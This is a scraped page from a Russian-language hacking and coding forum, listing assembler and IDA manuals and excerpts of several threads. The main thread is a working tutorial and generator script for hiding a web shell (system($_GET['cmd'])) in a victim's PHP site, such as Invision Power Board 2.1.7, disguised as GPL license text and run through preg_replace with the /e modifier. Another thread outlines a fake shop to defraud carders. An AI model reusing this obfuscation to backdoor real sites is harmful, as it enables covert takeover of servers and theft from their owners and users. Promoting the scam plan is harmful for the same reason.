Орлов С.Б. — Программа – справочник по системе программирования ТУРВО АССЕМБЛЕР 2.0 (ЧАСТЬ II)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО АССЕМБЛЕР 2.0 (ЧАСТЬ III)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО АССЕМБЛЕР 2.0 (ЧАСТЬ IV)
Документация по Turbo Debugger
Курс практических работ по программированию на языке Ассемблер
Пособие — теория по Ассемблеру
Ассемблер под Windows
Ассемблер
Macro Assembler v4.02
Linker v4.02
Система программирование на макроассемблере MS-DOS — справочное рукаводство (пакет макроассемблера MS-DOS)
Система программирование на макроассемблере MS-DOS — справочное рукаводство (введение в язык ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство (директивы языка ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство (инструкции процессоров 8086/8080)
Справка по Ассемблеру для AVR
IDA (ЧАСТЬ I)
IDA (ЧАСТЬ II)
IDA (ЧАСТЬ III)
IDA (ЧАСТЬ IV)
IDA (ЧАСТЬ V)
IDA (ЧАСТЬ VI)
IDA (ЧАСТЬ VII)
IDA (ЧАСТЬ VIII)
IDA (ЧАСТЬ IX)
IDA (ЧАСТЬ X)

скачать

Как начать изучать JS?
ID: 67668b27b4103b69df375da7
Thread ID: 42591
Created: 2020-09-28T14:38:17+0000
Last Post: 2020-12-12T20:18:07+0000
Author: Deadweight
Replies: 68 Views: 10K

Недавно сел за js.

Хочется услышать советов от мастеров на форуме, если такие есть.

Есть какой-нибудь очень хороший мануал для новичка?
Как лучше всего учиться?
На что обращать внимание?

Спасибо, не закидывайте только помидорами

PE EXE
ID: 67668b27b4103b69df375e4a
Thread ID: 17382
Created: 2009-04-14T08:02:07+0000
Last Post: 2010-10-13T18:15:45+0000
Author: G100M
Replies: 49 Views: 10K

Посоветуйте пожалуйста манов и доков по PE EXE формату.

Скрываем свой Php код в скрипте жертвы
ID: 67668b27b4103b69df375e20
Thread ID: 13773
Created: 2006-11-30T11:45:55+0000
Last Post: 2013-05-02T23:41:51+0000
Author: Great
Replies: 28 Views: 10K

Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы "протроянить" его.
Дописать просто , или даже - тупо, слишком заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php- код, да еще и закодированный в base64. Не порядок :) Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо текстом, например,

Code:Copy to clipboard

$license = "      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.";

(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e':

Code:Copy to clipboard

@preg_replace("#(\d+)#e", $i, "31337");

, где $i - наш код. preg_replace найдет в строке '31337' один или более символов (регулярное выражение \d+) и произведет в ней замену согласно коду $i, который она перед этим выполнит; в добавок еще и будут подавлены все сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью аналогично @eval($i), за исключением того, что в $i не должно быть переносов строки.
Собирать код в строку будем разными способами. Например,

Code:Copy to clipboard

$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)

мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде

Code:Copy to clipboard

@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);

Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции для работы со строками, например, chop,nl2br,md5 для вида :).
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:

Code:Copy to clipboard

$license = " $      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");

В качестве примера использования рассмотрим Invision Power Board 2.1.7 :)
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить код без юзания GET'а, а, например, брать код из заголовка Referer или что- нибудь в этом роде).
Результат показан на картинке:

Естественно, писал весь этот код я не сам, а при помощи скрипта- перекодировщика, которому нужно скормить текст (для "выдирания" оттуда символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что показано выше, только в различных вариациях + результат выполнения сгенерированного кода.
Скрипт-перекодировщик:

Code:Copy to clipboard

<?
$license = <<<EOF
 $      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
EOF;

$text = "system(\$_GET['cmd']);";

function process_text($base_name, $out_name, $base, $text)
{
  preg_match("#\.(\d+) #", microtime(), $d);
  mt_srand($d[1]);

  $functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );

  $encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";

  for($i=0;$i<strlen($text);$i++)
  {

    $p = strpos($base, $text[$i]);
    if($p===false)
      die("Conversion impossible (can't find match for '".$text[$i]."')");

    $func = $functions[ mt_rand()%count($functions) ];

    switch(mt_rand()%4)
    {
    case 0:
      $encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
      break;
    case 1:
      $encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
      break;
    case 2:
      $encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    case 3:
      $encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    }

    preg_match("#\.(\d+) #", microtime(), $d);
    mt_srand($d[1]);
  }

  switch(mt_rand()%3)
  {
  case 0:
    $encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
    break;
  case 1:
    $encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
    break;
  case 2:
    $encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
    break;
  }

  return $encode;
}

$c = process_text("license", "i", $license, $text);

echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>

© Great, 2006.

Кодин и дальнейшая жизнЬ!!!
ID: 67668b27b4103b69df375f1e
Thread ID: 5502
Created: 2005-11-11T07:24:29+0000
Last Post: 2005-11-16T09:11:42+0000
Author: CyberLord
Replies: 30 Views: 10K

Всем привет!!!
Для меня сейчас настал такой период, когда приходится вибирать направление для дальнейшей профессиональной деятельности. Я заканчиваю 5 курс. за эти 5 лет практически изучил множество языков программирования и многи направления в программировании.
Но... все знать это тяжело!!!
И я бы хотел чтобы вы поделились своим мнением по какому направлению (сети, БД, и т.п.) лучше продолжать изучать программирование (С++, Delphi).

Как я хотел заработать на ТруВбивалах или Скам маленьких Кардиров
ID: 67668b27b4103b69df375dfa
Thread ID: 27215
Created: 2019-01-10T05:14:45+0000
Last Post: 2019-01-12T11:15:24+0000
Author: DeiTy
Replies: 41 Views: 9K

Вообщем , ещё года 2 назад на всех форумов начали толпами появляться учителя по вбиву , продаж товаров с ebay за 40% и прочее . Видимо кто-то начал активно сливать инфу с кардинг форумов и так как это более менее работало все начали копать в эту нишу . Однако как-только брут палки почти умер мат стал довольно дефицитным (помню времени когда акки палки продавали п 5-10 руб. и то покупать не хотели .... а сейчас ? :) ).
Так вот , недавно подумал а почему бы нам немного не заработать на этих 15 летних вбивалах ?) Правда потом передумал , может совесть а может просто не хочу иметь нечего общего с скамом .
Но план был токов , сделать фейк магазин с матом и просто спамить им , во 1 не думаю что они заявы писать будут во 2 они делают чернуху так почему мы им тёмную сделать не можем ?
По быстрому 'на коленке' собрал небольшой 'магазин' (до конца правда не допилил но дизайн некогда не был моей нишей ...)
Вот что получилось

Spoiler: Клик

Над методом оплаты долго не думал и просто взял яндекс . Он может принимать как ЯД так и оплату с карт . Более чем должно быть .
Ну а вот сам сайт https://yadi.sk/d/qWI-7V2LYeB79w
Решил выложить , вдруг кто тему до ума доведёт :)
За создание этого чёрного борца с чернухой отвечает DeiTy

[Статья] Что же такое этот ExtJS?
ID: 67668b27b4103b69df375e7b
Thread ID: 16633
Created: 2009-01-12T01:00:06+0000
Last Post: 2009-01-14T02:48:32+0000
Author: Одинокий Волк
Replies: 21 Views: 9K

[Статья] Что же такое этот ExtJS?

Статья: Читать

Интересные сайты по кодингу
ID: 67668b27b4103b69df375e07
Thread ID: 5979
Created: 2005-12-18T11:15:52+0000
Last Post: 2014-12-12T23:33:09+0000
Author: red_byte
Replies: 18 Views: 9K

Кидаем сюда интересные сайты по кодингу.
Начну первым:

  1. www.sources.ru - интересный сайт, куча исходников.
  2. www.koders.com - ОГРОМНАЯ база исходников. Куча языков, под разные лицензии. Все это в удобном интерфейсе
  3. www.delphikingdom.com - очень известный сайт. Всем Дельфи-маньякам посвящается.
Пишем скрипт отправки SMS на PHP
ID: 67668b27b4103b69df375f16
Thread ID: 6157
Created: 2005-12-26T22:59:16+0000
Last Post: 2006-01-21T13:37:10+0000
Author: Winux
Replies: 3 Views: 9K

Достаточно актуальная на сегодняшний момент статья. Случайно наткнулся в нете на 1 из сайтов, думаю будет всем интересно.

Часть 1
Большинство из нас имеют мобилки, и очень часто пользуются такой услугой, как отправка SMS-сообщений. И, наверное, все задумывались, как бы сделать так, что бы эти самые SMS-сообщения можно было отправлять бесплатно. Мой вариант, конечно, не совсем можно считать «бесплатным», но те из нас, кто имеет анлимитный доступ в интернет (дома \ на работе) смогут без всяких на то затрат отправлять смс-ки со своего компьютера.

Что для этого нужно?

Во-первых, прямые руки и желание.
Во-вторых, хоть какие то знания в php и html.
В-третьих, иметь зарегистрированное место на каком-то сервере, который поддерживает php (можно на бесплатном, могу посоветовать www.h1.ru или www.iatp.org.ua).

Приступаем к работе.

У нас будет всего два файла: один это html-страница (тобиш index.html), которая будет содержать форму отправки смс-ок, второй – php-скрипт (тобиш send.php) отправки наших смс-ок.
И так перед вами исходник index.html:

Code:Copy to clipboard

<FORM ACTION="send.php" METHOD=POST>
<TABLE BORDER=0>
<TR>
<TD>Номер телефона:</TD>
<TD><input type=text name="phone" cols=40></TD></TR>
<TR>
<TD>Выбор оператора:</TD>
<TD><select name=operator size=1>
<option value=01 selected>operator 1</option>
<option value=02>operator 2</option>
<option value=03>operator3</option></TD></TR>
<TR>
<TD colspan=2>
Сообщение: 
<textarea name="sms" cols=40 rows=5></textarea></TD></TR>
<TR>
<TD colspan=2 align=center><input type=submit value="Отправить"> <input type=reset value="Очистить"></TD></TR>
</TABLE></FORM>

Здесь все очень просто - имеесться форма заполнения полей, необходимых для отправки сообщений.
Исходник нашего скрипта send.php:

Code:Copy to clipboard

<?
$mail_addr = $_POST["phone"];
$text = $_POST["sms"];
switch ($_POST["operator"]) {
case "01": // operator1
$mail_addr .= "@operator1.com";
break;
case "02": // operator2
$mail_addr .= "@operator2.com";
break;
case "03": // operator3
$mail_addr .= "@operator3.com";
break;
// Здесь для других операторов...
}
$mes="$text";
mail($mail_addr, "", $mes);
echo "Ваше SMS на номер $mail_addr 
 с текстом: $mes 
 отправлено
<center><a href='index.html'>Отправить ещё</a>";
?>

Здесь тоже все очень просто - получиные данные с index.html мы подставляем и получаем простую, но эффективную програму для отправки sms-сообщений. Следует заметить, что "@operator.com" нужно заменить на адрес оператора на телефоны, которого вы будете отправлять sms-сообщения, т.е. к примеру, что бы отправить sms на телефон украинского оператора Kyivstar (пакет Ace&Bace) нужно вписать "@2sms.kyivstar.net".
Все - програма готова. Теперь заливаем эти файлы на наш зарание подготовленный сервер и отправляем смс-ки!
Но в этом скрипте есть также и очень важный момент - вы не сможете отправлять sms-ки на телефоны операторов, которые не потдерживают отправку с e-mail'а.

В 2 части статьи мы добавим транслит с кирилицы в латиницу (привет -> privet), что позволит нам значительно увеличить размер сообщения (ведь если писать в кирилице то максимальная длина сообщения составит всего лишь 70 символов, а в латинице - 160).
Удачи!

Часть 2
И так, как я и обещал во воторой части стаьи "Пишем скрипт отправки SMS на PHP", мы с вами напишем транcлит для нашей прогрмы.

И так приступим

Все, что нам нужно это отредактировать и добавить один java*script в нашу "главную страницу" (inde.html).
В самое начало добавлем выше упомянутый скрипт:

Code:Copy to clipboard

<script language="java*script"">
<!--
var maxLen=160;
 function setLen(dcs)
{
  if( dcs == 0 )
  {
    maxLen = 160;
  }
  else
  {
    maxLen = 70;
  }
  checkLen();
}

function setmaxlng()
{
document.text.len.value = maxLength;
}

function checkLen()
{
   if (document.all) {
      str = text.sms.value;
      len = str.length;
   }
   else{
       str = document.forms.text.sms.value;
       len = document.forms.text.name.textLength;
   }
   var rusLen = 0;
   if(document.forms.text.dcs[1].checked){
       var re = /[ёжцчшюя??]/i;
       var re1 = /[щ]/i;
       for(i=0;i<=len;i++){
           if(re.test(str.substr(i,1))){
           rusLen = rusLen +1;
           }
           if(re1.test(str.substr(i,1))){
           rusLen = rusLen +2;
           }
       }
   }
   fullLen = maxLen - rusLen;
  if ( len > fullLen) document.forms.text.sms.value = str.substring(0,fullLen);
  document.forms.text.len.value = (fullLen - document.forms.text.sms.value.length);
  document.forms.text.sms.focus();
}
// ------------------------------------Start garbage-----------------------------------------
// Translit:
// -------------------------- CONVERT TO RUS --------------------------
// 1 character letters
eng_table = "ABVGDEZIJKLMNOPRSTUFHXCYabvgdezijklmnoprstufhxcy'";
rus_table = "АБВГДЕЗИЙКЛМНОПРСТУФХХЦЫабвгдезийклмнопрстуфххцыь";
// 2 character letters
eng_table2 = "YOJOZHCHSHYUJUYAJAyojozhchshyujuyajaYoYoZhChShYuJuYaJa";
rus_table2 = "ЁЁЖЧШЮЮЯЯёёжчшююяяЁЁЖЧШЮЮЯЯ";

function translit2win(str)
{
var len = str.length;
var new_str="";

for (i = 0; i < len; i++)
{
 // Check for 2-character letters
 is2char=false;
 if (i < len-1)
 {
  for(j = 0; j < rus_table2.length; j++)
  {
   if(str.substr(i, 2) == eng_table2.substr(j*2,2))
   {
    new_str+= rus_table2.substr(j, 1);
    i++;
    is2char=true;
    break;
   }
  }
 }

 if(!is2char)
 {
  // Convert one-character letter
  var c = str.substr(i, 1);
  var pos = eng_table.indexOf(c);
  if (pos < 0)
   new_str+= c;
  else
   new_str+= rus_table.substr(pos, 1);
 }
}
return new_str;
}
 

// -------------------------- CONVERT TO LAT --------------------------
lat_eng_table = "ABVGDEJZIYKLMNOPRSTUFH4CIabvgdejziyklmnoprstufh4ci'";
lat_rus_table = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЧЦЫабвгдежзийклмнопрстуфхчцыь";

function translit2lat(str)
{
var len = str.length;
var new_str="";

for (i = 0; i < len; i++)
{
 // Check for 2-character letters
 is2char=false;
 if (i < len)
 {
  if(str.substr(i, 1) == 'Ю')
  {
   new_str += 'YU ';
   i++;
   is2char=true;
  }
  if(str.substr(i, 1) == 'ю')
  {
   new_str += 'yu ';
   i++;
   is2char=true;
  }
 
  if(str.substr(i, 1) == 'Я')
  {
   new_str += 'YA ';
   i++;
   is2char=true;
  }
  if(str.substr(i, 1) == 'я')
  {
//    alert("1"+str.substr(i, 1)+"1");
   new_str += 'ya ';
   i++;
   is2char=true;
  }
 }
 // Convert one-character letter
 if(!is2char)
 {
  var c = str.substr(i, 1);
  var pos = lat_rus_table.indexOf(c);
  if (pos < 0)
   new_str+= c;
  else
   new_str+= lat_eng_table.substr(pos, 1);
 }
}
return new_str;
}
// ------------------------------------end garbage-----------------------------------------
function openTranslit()
{
var myUrl = "translit.html";
myWin=window.open(myUrl, "wind1", "width=800,height=745,resizable=no,scrollbars=no,menubar=no");
}

// *********************************************************************************
/*var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-X-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+
+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+String.fromCharCode(39)+
+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');

var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_X_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_X_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'').split('_');
*/

var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+String.fromCharCode(39)+
+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');

var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_H_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
